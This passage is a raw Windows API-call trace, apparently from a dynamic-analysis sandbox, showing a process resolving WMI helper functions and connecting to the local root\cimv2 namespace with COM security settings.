lpMultiByteStr="ResetSecurity", lpUsedDefaultChar=0x0) returned 13 [0184.741] GetProcAddress (hModule=0x7fef8270000, lpProcName="ResetSecurity") returned 0x7fef8272738 [0184.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x1e03dc40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurityóþ\x07", lpUsedDefaultChar=0x0) returned 11 [0184.826] GetProcAddress (hModule=0x7fef8270000, lpProcName="SetSecurity") returned 0x7fef8272794 [0184.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x1e03dc30, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServices\x9c\x02", lpUsedDefaultChar=0x0) returned 18 [0184.838] GetProcAddress (hModule=0x7fef8270000, lpProcName="BlessIWbemServices") returned 0x7fef82719d0 [0184.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x1e03dc30, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObjectô\x16¼óþ\x07", lpUsedDefaultChar=0x0) returned 24 [0184.993] GetProcAddress (hModule=0x7fef8270000, lpProcName="BlessIWbemServicesObject") returned 0x7fef8271a70 [0185.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x1e03dc30, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandle%\x9c\x02", lpUsedDefaultChar=0x0) returned 17 [0185.019] GetProcAddress (hModule=0x7fef8270000, lpProcName="GetPropertyHandle") returned 0x7fef82722a0 [0185.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x1e03dc30, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValue\x9c\x02", lpUsedDefaultChar=0x0) returned 18 [0185.032] GetProcAddress (hModule=0x7fef8270000, lpProcName="WritePropertyValue") returned 0x7fef82728e4 [0185.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x1e03dc40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone", lpUsedDefaultChar=0x0) returned 5 [0185.044] GetProcAddress (hModule=0x7fef8270000, lpProcName="Clone") returned 0x7fef8271b10 [0185.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x1e03dc30, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0185.183] GetProcAddress (hModule=0x7fef8270000, lpProcName="VerifyClientKey") returned 0x7fef827283c [0185.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x1e03dc30, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet", lpUsedDefaultChar=0x0) returned 15 [0185.209] GetProcAddress (hModule=0x7fef8270000, lpProcName="GetQualifierSet") returned 0x7fef8272324 [0185.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Get", cchWideChar=3, lpMultiByteStr=0x1e03dc40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get\x02", lpUsedDefaultChar=0x0) returned 3 [0185.211] GetProcAddress (hModule=0x7fef8270000, lpProcName="Get") returned 0x7fef8272124 [0185.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Put", cchWideChar=3, lpMultiByteStr=0x1e03dc40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Put\x02", lpUsedDefaultChar=0x0) returned 3 [0185.300] GetProcAddress (hModule=0x7fef8270000, lpProcName="Put") returned 0x7fef82723d4 [0185.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Delete", cchWideChar=6, lpMultiByteStr=0x1e03dc40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Delete", lpUsedDefaultChar=0x0) returned 6 [0185.707] GetProcAddress (hModule=0x7fef8270000, lpProcName="Delete") returned 0x7fef8271ea0 [0185.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetNames", cchWideChar=8, lpMultiByteStr=0x1e03dc40, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNamesô\x16¼óþ\x07", lpUsedDefaultChar=0x0) returned 8 [0185.716] GetProcAddress (hModule=0x7fef8270000, lpProcName="GetNames") returned 0x7fef8272250 [0185.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginEnumeration", cchWideChar=16, lpMultiByteStr=0x1e03dc30, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginEnumerationØ)\x9c\x02", lpUsedDefaultChar=0x0) returned 16 [0185.826] GetProcAddress (hModule=0x7fef8270000, lpProcName="BeginEnumeration") returned 0x7fef82719b0 [0185.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Next", cchWideChar=4, lpMultiByteStr=0x1e03dc40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Next", lpUsedDefaultChar=0x0) returned 4 [0185.834] GetProcAddress (hModule=0x7fef8270000, lpProcName="Next") returned 0x7fef8272354 [0185.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x1e03dc40, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumeration", lpUsedDefaultChar=0x0) returned 14 [0185.856] GetProcAddress (hModule=0x7fef8270000, lpProcName="EndEnumeration") returned 0x7fef8271f78 [0185.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x1e03dc30, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet", lpUsedDefaultChar=0x0) returned 23 [0185.965] GetProcAddress (hModule=0x7fef8270000, lpProcName="GetPropertyQualifierSet") returned 0x7fef8272310 [0185.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x1e03dc40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone", lpUsedDefaultChar=0x0) returned 5 [0185.994] GetProcAddress (hModule=0x7fef8270000, lpProcName="Clone") returned 0x7fef8271b10 [0185.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x1e03dc40, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectText\x07", lpUsedDefaultChar=0x0) returned 13 [0185.994] GetProcAddress (hModule=0x7fef8270000, lpProcName="GetObjectText") returned 0x7fef827228c [0186.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x1e03dc30, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClass,\x9c\x02", lpUsedDefaultChar=0x0) returned 17 [0186.008] GetProcAddress (hModule=0x7fef8270000, lpProcName="SpawnDerivedClass") returned 0x7fef8272800 [0186.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x1e03dc40, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstance\x07", lpUsedDefaultChar=0x0) returned 13 [0186.016] GetProcAddress (hModule=0x7fef8270000, lpProcName="SpawnInstance") returned 0x7fef8272814 [0186.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x1e03dc40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTo\x16¼óþ\x07", lpUsedDefaultChar=0x0) returned 9 [0186.017] GetProcAddress (hModule=0x7fef8270000, lpProcName="CompareTo") returned 0x7fef8271bd0 [0186.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x1e03dc30, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOrigin-\x9c\x02", lpUsedDefaultChar=0x0) returned 17 [0186.025] GetProcAddress (hModule=0x7fef8270000, lpProcName="GetPropertyOrigin") returned 0x7fef82722f8 [0186.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x1e03dc40, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFromþ\x07", lpUsedDefaultChar=0x0) returned 12 [0186.165] GetProcAddress (hModule=0x7fef8270000, lpProcName="InheritsFrom") returned 0x7fef8272334 [0186.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x1e03dc40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethod\x16¼óþ\x07", lpUsedDefaultChar=0x0) returned 9 [0186.166] GetProcAddress (hModule=0x7fef8270000, lpProcName="GetMethod") returned 0x7fef82721e4 [0186.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x1e03dc40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethod\x16¼óþ\x07", lpUsedDefaultChar=0x0) returned 9 [0186.201] GetProcAddress (hModule=0x7fef8270000, lpProcName="PutMethod") returned 0x7fef82725b4 [0186.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x1e03dc40, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethodþ\x07", lpUsedDefaultChar=0x0) returned 12 [0186.215] GetProcAddress (hModule=0x7fef8270000, lpProcName="DeleteMethod") returned 0x7fef8271eb0 [0186.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x1e03dc30, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumeration", lpUsedDefaultChar=0x0) returned 22 [0186.221] GetProcAddress (hModule=0x7fef8270000, lpProcName="BeginMethodEnumeration") returned 0x7fef82719c0 [0186.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x1e03dc40, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethod¼óþ\x07", lpUsedDefaultChar=0x0) returned 10 [0186.222] GetProcAddress (hModule=0x7fef8270000, lpProcName="NextMethod") returned 0x7fef8272398 [0186.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x1e03dc30, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumeration", lpUsedDefaultChar=0x0) returned 20 [0186.237] GetProcAddress (hModule=0x7fef8270000, lpProcName="EndMethodEnumeration") returned 0x7fef8271f84 [0186.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x1e03dc30, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSet", lpUsedDefaultChar=0x0) returned 21 [0186.243] GetProcAddress (hModule=0x7fef8270000, lpProcName="GetMethodQualifierSet") returned 0x7fef8272238 [0186.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodOrigin", cchWideChar=15, lpMultiByteStr=0x1e03dc30, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodOrigin", lpUsedDefaultChar=0x0) returned 15 [0186.244] GetProcAddress (hModule=0x7fef8270000, lpProcName="GetMethodOrigin") returned 0x7fef8272220 [0186.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Get", cchWideChar=16, lpMultiByteStr=0x1e03dc30, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Get\x882\x9c\x02", lpUsedDefaultChar=0x0) returned 16 [0186.245] GetProcAddress (hModule=0x7fef8270000, lpProcName="QualifierSet_Get") returned 0x7fef827261c [0186.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Put", cchWideChar=16, lpMultiByteStr=0x1e03dc30, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Put", lpUsedDefaultChar=0x0) returned 16 [0186.265] GetProcAddress (hModule=0x7fef8270000, lpProcName="QualifierSet_Put") returned 0x7fef82726a4 [0186.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Delete", cchWideChar=19, lpMultiByteStr=0x1e03dc30, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Delete\x02", lpUsedDefaultChar=0x0) returned 19 [0186.282] GetProcAddress (hModule=0x7fef8270000, lpProcName="QualifierSet_Delete") returned 0x7fef8272600 [0186.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_GetNames", cchWideChar=21, lpMultiByteStr=0x1e03dc30, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetNames", lpUsedDefaultChar=0x0) returned 21 [0186.283] GetProcAddress (hModule=0x7fef8270000, lpProcName="QualifierSet_GetNames") returned 0x7fef8272658 [0186.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_BeginEnumeration", cchWideChar=29, lpMultiByteStr=0x1e03dc30, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_BeginEnumeration\x07", lpUsedDefaultChar=0x0) returned 29 [0186.302] GetProcAddress (hModule=0x7fef8270000, lpProcName="QualifierSet_BeginEnumeration") returned 0x7fef82725f0 [0186.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Next", cchWideChar=17, lpMultiByteStr=0x1e03dc30, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Next4\x9c\x02", lpUsedDefaultChar=0x0) returned 17 [0186.304] GetProcAddress (hModule=0x7fef8270000, lpProcName="QualifierSet_Next") returned 0x7fef827266c [0186.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_EndEnumeration", cchWideChar=27, lpMultiByteStr=0x1e03dc30, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_EndEnumerationóþ\x07", lpUsedDefaultChar=0x0) returned 27 [0186.322] GetProcAddress (hModule=0x7fef8270000, lpProcName="QualifierSet_EndEnumeration") returned 0x7fef8272610 [0186.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetCurrentApartmentType", cchWideChar=23, lpMultiByteStr=0x1e03dc30, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetCurrentApartmentType", lpUsedDefaultChar=0x0) returned 23 [0186.323] GetProcAddress (hModule=0x7fef8270000, lpProcName="GetCurrentApartmentType") returned 0x7fef8272324 [0186.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetDemultiplexedStub", cchWideChar=20, lpMultiByteStr=0x1e03dc30, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetDemultiplexedStub", lpUsedDefaultChar=0x0) returned 20 [0186.330] GetProcAddress (hModule=0x7fef8270000, lpProcName="GetDemultiplexedStub") returned 0x7fef8272168 [0186.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateInstanceEnumWmi", cchWideChar=21, lpMultiByteStr=0x1e03dc30, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateInstanceEnumWmi", lpUsedDefaultChar=0x0) returned 21 [0186.357] GetProcAddress (hModule=0x7fef8270000, lpProcName="CreateInstanceEnumWmi") returned 0x7fef8271de0 [0186.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateClassEnumWmi", cchWideChar=18, lpMultiByteStr=0x1e03dc30, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateClassEnumWmi\x9c\x02", lpUsedDefaultChar=0x0) returned 18 [0186.388] GetProcAddress (hModule=0x7fef8270000, lpProcName="CreateClassEnumWmi") returned 0x7fef8271d24 [0186.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecQueryWmi", cchWideChar=12, lpMultiByteStr=0x1e03dc40, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecQueryWmiþ\x07", lpUsedDefaultChar=0x0) returned 12 [0186.389] GetProcAddress (hModule=0x7fef8270000, lpProcName="ExecQueryWmi") returned 0x7fef827205c [0186.444] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecNotificationQueryWmi", cchWideChar=24, lpMultiByteStr=0x1e03dc30, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecNotificationQueryWmiô\x16¼óþ\x07", lpUsedDefaultChar=0x0) returned 24 [0186.444] GetProcAddress (hModule=0x7fef8270000, lpProcName="ExecNotificationQueryWmi") returned 0x7fef8271f94 [0186.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutInstanceWmi", cchWideChar=14, lpMultiByteStr=0x1e03dc40, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutInstanceWmi", lpUsedDefaultChar=0x0) returned 14 [0186.446] GetProcAddress (hModule=0x7fef8270000, lpProcName="PutInstanceWmi") returned 0x7fef82724e0 [0186.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutClassWmi", cchWideChar=11, lpMultiByteStr=0x1e03dc40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutClassWmióþ\x07", lpUsedDefaultChar=0x0) returned 11 [0186.470] GetProcAddress (hModule=0x7fef8270000, lpProcName="PutClassWmi") returned 0x7fef827240c [0186.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloneEnumWbemClassObject", cchWideChar=24, lpMultiByteStr=0x1e03dc30, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloneEnumWbemClassObjectô\x16¼óþ\x07", lpUsedDefaultChar=0x0) returned 24 [0186.470] GetProcAddress (hModule=0x7fef8270000, lpProcName="CloneEnumWbemClassObject") returned 0x7fef8271b20 [0186.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConnectServerWmi", cchWideChar=16, lpMultiByteStr=0x1e03dc30, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectServerWmi\x08:\x9c\x02", lpUsedDefaultChar=0x0) returned 16 [0186.826] GetProcAddress (hModule=0x7fef8270000, lpProcName="ConnectServerWmi") returned 0x7fef8271be8 [0186.837] CoCreateInstance (in: rclsid=0x7fef8275568*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef82755c8*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1e03eb30 | out: ppv=0x1e03eb30*=0x1c2d18e0) returned 0x0 [0186.837] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c2d18e0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1e03ed68 | out: ppNamespace=0x1e03ed68*=0x1c2d46b8) returned 0x0 [0191.690] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d46b8, riid=0x7fef82753e8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e03e9a8 | out: ppvObject=0x1e03e9a8*=0x1da37be0) returned 0x0 [0191.690] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1da37be0, pProxy=0x1c2d46b8, pAuthnSvc=0x1e03ea70, pAuthzSvc=0x1e03e9f0, pServerPrincName=0x1e03ea18, pAuthnLevel=0x1e03e9f4, pImpLevel=0x1e03ea00, pAuthInfo=0x1e03ea28, pCapabilites=0x1e03ea04 | out: pAuthnSvc=0x1e03ea70*=0xa, pAuthzSvc=0x1e03e9f0*=0x0, pServerPrincName=0x1e03ea18, pAuthnLevel=0x1e03e9f4*=0x6, pImpLevel=0x1e03ea00*=0x2, pAuthInfo=0x1e03ea28, pCapabilites=0x1e03ea04*=0x1) returned 0x0 [0191.690] WbemLocator:IUnknown:Release (This=0x1da37be0) returned 0x1 [0191.690] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d46b8, riid=0x7fef82753d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e03e940 | out: ppvObject=0x1e03e940*=0x1da37c20) returned 0x0 [0191.690] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d46b8, riid=0x7fef82753e8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e03e950 | out: ppvObject=0x1e03e950*=0x1da37be0) returned 0x0 [0191.690] WbemLocator:IClientSecurity:SetBlanket (This=0x1da37be0, pProxy=0x1c2d46b8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0191.690] WbemLocator:IUnknown:Release (This=0x1da37be0) returned 0x2 [0191.690] WbemLocator:IUnknown:Release (This=0x1da37c20) returned 0x1 [0191.691] CoTaskMemFree (pv=0x1da36ba0) [0191.691] WbemLocator:IUnknown:Release (This=0x1c2d18e0) returned 0x0 [0191.691] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d46b8, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e03e430 | out: ppvObject=0x1e03e430*=0x1da37c20) returned 0x0 [0191.691] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37c20, riid=0x7fef4179740*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1e03e4c0 | out: ppvObject=0x1e03e4c0*=0x0) returned 0x80004002 [0191.691] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37c20, riid=0x7fef4179770*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1e03e0f0 | out: ppvObject=0x1e03e0f0*=0x0) returned 0x80004002 [0191.692] WbemLocator:IUnknown:AddRef (This=0x1da37c20) returned 0x3 [0191.692] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37c20, riid=0x7fef4179750*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1e03db78 | out: ppvObject=0x1e03db78*=0x0) returned 0x80004002 [0191.692] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37c20, riid=0x7fef4179760*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1e03db10 | out: ppvObject=0x1e03db10*=0x0) returned 0x80004002 [0191.692] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37c20, riid=0x7fef414c7d8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e03db00 | out: ppvObject=0x1e03db00*=0x1da37b08) returned 0x0 [0191.692] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1da37b08, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1e03db28 | out: pCid=0x1e03db28*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0191.692] WbemLocator:IUnknown:Release (This=0x1da37b08) returned 0x3 [0191.692] CoGetContextToken (in: pToken=0x1e03dba0 | out: pToken=0x1e03dba0) returned 0x0 [0191.693] CoGetContextToken (in: pToken=0x1e03e020 | out: pToken=0x1e03e020) returned 0x0 [0191.693] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37c20, riid=0x7fef4179790*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e03e0e0 | out: ppvObject=0x1e03e0e0*=0x1da37bf0) returned 0x0 [0191.693] WbemLocator:IRpcOptions:Query (in: This=0x1da37bf0, pPrx=0x1da37c20, dwProperty=2, pdwValue=0x1e03e0d0 | out: pdwValue=0x1e03e0d0) returned 0x80004002 [0191.693] WbemLocator:IUnknown:Release (This=0x1da37bf0) returned 0x3 [0191.693] WbemLocator:IUnknown:Release (This=0x1da37c20) returned 0x2 [0191.693] CoGetContextToken (in: pToken=0x1e03e6f0 | out: pToken=0x1e03e6f0) returned 0x0 [0191.693] CoGetContextToken (in: pToken=0x1e03e5f0 | out: pToken=0x1e03e5f0) returned 0x0 [0191.693] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37c20, riid=0x1e03e750*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, 